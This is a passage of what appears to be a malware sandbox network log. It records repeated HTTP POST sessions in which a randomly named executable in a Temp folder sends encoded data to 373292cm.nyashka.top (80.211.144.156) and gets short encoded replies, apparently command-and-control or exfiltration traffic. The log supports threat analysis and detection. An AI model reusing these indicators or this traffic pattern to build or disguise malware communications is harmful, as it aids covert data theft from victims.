Aug 26, 2024 20:16:58.777700901 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:16:59.157277107 CEST	2576	OUT	Data Raw: 5f 57 59 57 54 45 54 5a 5b 5f 5a 51 59 53 58 55 57 5b 5d 53 57 5f 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _WYWTETZ[_ZQYSXUW[]SW_SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.]. 0!=(7:)[(?><?Z < $+#:,&F$.Y/5
Aug 26, 2024 20:16:59.453006029 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:16:59.586431980 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49770	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:00.209988117 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:00.556066036 CEST	2576	OUT	Data Raw: 5f 50 5c 5e 54 46 54 51 5b 5f 5a 51 59 5f 58 54 57 5b 5d 59 57 59 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _P\^TFTQ[_ZQY_XTW[]YWYS_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.,,#.$#0])-?(%)=<4?+Q4!S<7!^;.&F$.Y/
Aug 26, 2024 20:17:00.887332916 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:01.014467955 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:16:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49771	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:01.152410030 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:01.508902073 CEST	2576	OUT	Data Raw: 5f 56 5c 51 54 49 54 5e 5b 5f 5a 51 59 51 58 50 57 50 5d 5e 57 5a 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _V\QTIT^[_ZQYQXPWP]^WZSUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-/ /"-\#V5Z)=$X+.Z+-"/#S71?(9$#3%,&F$.Y/=
Aug 26, 2024 20:17:01.817061901 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:01.951286077 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49772	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:02.433294058 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:02.790152073 CEST	2576	OUT	Data Raw: 5a 51 5c 5e 54 41 51 5e 5b 5f 5a 51 59 56 58 52 57 5d 5d 58 57 51 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZQ\^TAQ^[_ZQYVXRW]]XWQSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.83;A6;#*>-(>([#X#+7(+3Y"3>;.&F$.Y/!
Aug 26, 2024 20:17:03.093755007 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49773	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:03.129604101 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:03.477598906 CEST	2036	OUT	Data Raw: 5f 54 59 54 54 47 54 5d 5b 5f 5a 51 59 53 58 52 57 5d 5d 5f 57 5d 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _TYTTGT][_ZQYSXRW]]_W]S]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-.#3@#- Y#=Y*-?%_)>;[#741<_7X 3!]/&F$.Y/5
Aug 26, 2024 20:17:04.056143999 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:04.060636997 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0d 3d 35 21 04 31 3b 01 0a 27 33 3e 57 29 2d 3f 5f 2a 2d 26 05 24 16 2e 07 26 2d 33 0e 27 38 22 05 28 2d 2e 19 32 59 33 1e 2d 1e 2b 5d 0c 13 21 01 21 39 2d 01 25 3c 06 5a 3d 38 30 04 35 05 35 00 2b 04 35 52 3f 2f 3f 03 3c 17 2c 05 2b 04 0c 56 3b 3b 25 15 2e 33 32 1e 23 2e 2b 52 0d 11 27 0c 3f 3d 39 1f 3d 2e 24 06 36 3b 2f 5a 30 3e 21 08 31 0c 22 54 33 00 3b 03 32 0b 3e 0c 30 0f 29 1c 25 02 3e 5a 26 06 3a 08 36 18 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %=5!1;'3>W)-?_*-&$.&-3'8"(-.2Y3-+]!!9-%<Z=8055+5R?/?<,+V;;%.32#.+R'?=9=.$6;/Z0>!1"T3;2>0)%>Z&:6#T,"W3UV
Aug 26, 2024 20:17:04.060663939 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0d 3d 35 21 04 31 3b 01 0a 27 33 3e 57 29 2d 3f 5f 2a 2d 26 05 24 16 2e 07 26 2d 33 0e 27 38 22 05 28 2d 2e 19 32 59 33 1e 2d 1e 2b 5d 0c 13 21 01 21 39 2d 01 25 3c 06 5a 3d 38 30 04 35 05 35 00 2b 04 35 52 3f 2f 3f 03 3c 17 2c 05 2b 04 0c 56 3b 3b 25 15 2e 33 32 1e 23 2e 2b 52 0d 11 27 0c 3f 3d 39 1f 3d 2e 24 06 36 3b 2f 5a 30 3e 21 08 31 0c 22 54 33 00 3b 03 32 0b 3e 0c 30 0f 29 1c 25 02 3e 5a 26 06 3a 08 36 18 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %=5!1;'3>W)-?_*-&$.&-3'8"(-.2Y3-+]!!9-%<Z=8055+5R?/?<,+V;;%.32#.+R'?=9=.$6;/Z0>!1"T3;2>0)%>Z&:6#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49774	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:03.261688948 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:03.618139029 CEST	2576	OUT	Data Raw: 5f 51 59 57 51 47 54 5f 5b 5f 5a 51 59 56 58 56 57 59 5d 5b 57 5e 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _QYWQGT_[_ZQYVXVWY][W^SZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^..08#=#)Y>-0Y+==?4 !+9##:8&F$.Y/!
Aug 26, 2024 20:17:04.060625076 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:04.071145058 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49775	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:04.219250917 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:04.571336985 CEST	2576	OUT	Data Raw: 5f 55 5c 52 54 48 54 50 5b 5f 5a 51 59 5f 58 5f 57 5e 5d 5c 57 50 53 5d 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _U\RTHTP[_ZQY_X_W^]\WPS]YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.],6+7=X=\+>? Q7(Q<<76,>&F$.Y/
Aug 26, 2024 20:17:04.885432005 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:05.089936972 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49776	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:05.394256115 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:05.743285894 CEST	2576	OUT	Data Raw: 5a 51 5c 55 54 43 51 5b 5b 5f 5a 51 59 52 58 5f 57 50 5d 5b 57 5f 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZQ\UTCQ[[_ZQYRX_WP][W_SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.Y; #C6>'#0>. _+=:?;Y7/,413(:'#09^.>&F$.Y/1
Aug 26, 2024 20:17:06.090375900 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:06.287930012 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:06.420085907 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:06.774429083 CEST	2576	OUT	Data Raw: 5f 55 59 57 51 42 54 5e 5b 5f 5a 51 59 5e 58 51 57 58 5d 5b 57 5e 53 55 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _UYWQBT^[_ZQY^XQWX][W^SUYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.;D!=X70>>=*<=;Y Z0#8<_;X"#5\,>&F$.Y/
Aug 26, 2024 20:17:07.188365936 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:07.280864954 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:07.453411102 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:07.806247950 CEST	2576	OUT	Data Raw: 5a 57 59 52 54 49 54 5f 5b 5f 5a 51 59 56 58 55 57 5a 5d 53 57 59 53 5e 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZWYRTIT_[_ZQYVXUWZ]SWYS^YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.,36.4\#9)=#?)\?[+[#?4 ?)0#/>&F$.Y/!
Aug 26, 2024 20:17:08.130878925 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:08.265765905 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49779	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:08.833605051 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49780	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:09.078629971 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:09.430752993 CEST	2036	OUT	Data Raw: 5f 51 59 55 54 49 54 5e 5b 5f 5a 51 59 52 58 55 57 5f 5d 53 57 5a 53 5e 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _QYUTIT^[_ZQYRXUW_]SWZS^YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-;#,!- #0=[3<(-#$!"0('4X/>&F$.Y/1
Aug 26, 2024 20:17:09.743026018 CEST	1236	OUT	Data Raw: 5f 51 59 55 54 49 54 5e 5b 5f 5a 51 59 52 58 55 57 5f 5d 53 57 5a 53 5e 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _QYUTIT^[_ZQYRXUW_]SWZS^YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-;#,!- #0=[3<(-#$!"0('4X/>&F$.Y/1
Aug 26, 2024 20:17:10.352463961 CEST	1236	OUT	Data Raw: 5f 51 59 55 54 49 54 5e 5b 5f 5a 51 59 52 58 55 57 5f 5d 53 57 5a 53 5e 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _QYUTIT^[_ZQYRXUW_]SWZS^YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-;#,!- #0=[3<(-#$!"0('4X/>&F$.Y/1
Aug 26, 2024 20:17:10.688783884 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.688862085 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.688977957 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.689975023 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:10.923021078 CEST	800	OUT	Data Raw: 3f 30 0e 2d 38 20 58 14 36 3a 02 1b 0c 32 22 1c 32 07 03 3d 37 5c 06 14 33 2c 1e 2c 02 33 55 39 39 3e 28 20 3c 5f 0e 5b 36 21 27 21 0d 31 17 22 34 1f 21 01 25 05 3f 12 33 54 07 2d 07 59 02 1b 32 3d 22 3d 3c 29 39 14 3c 32 05 2e 0a 5f 08 1b 3c 22 Data Ascii: ?0-8 X6:2"2=7\3,,3U99>( <_[6!'!1"4!%?3T-Y2="=<)9<2._<"!= [9#,%3ZZ9?9:=03$Z!&$[,% *4\!?4;"1T>:W>351&- 8)$!;,R!%1:(Z?>."&1:>X5B [>+=/'<> $5$:/0Q&>3!=>;+7<>!X79;<&
Aug 26, 2024 20:17:11.332545042 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 11 3d 1b 25 01 27 2b 0d 0b 24 1d 0f 0e 29 5b 3f 12 29 2e 32 04 24 28 26 01 26 00 3b 0e 27 05 22 05 2b 3d 3a 50 26 59 20 02 2e 1e 2b 5d 0c 13 22 5f 23 2a 07 05 26 05 3c 1e 3e 28 28 04 35 2c 2d 01 2b 04 08 0c 3f 3c 3b 01 28 17 09 5b 2b 29 3e 57 2e 38 25 5f 3a 20 3a 13 37 2e 2b 52 0d 11 24 1d 3c 03 3e 0c 28 3e 19 5e 22 16 2b 5a 26 3e 2e 1e 25 0c 22 56 24 17 28 5b 25 31 3d 12 30 22 29 1d 25 38 36 5f 31 06 21 57 36 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &=%'+$)[?).2$(&&;'"+=:P&Y .+]"_#*&<>((5,-+?<;([+)>W.8%_: :7.+R$<>(>^"+Z&>.%"V$([%1=0")%86_1!W6"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49781	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:09.201227903 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
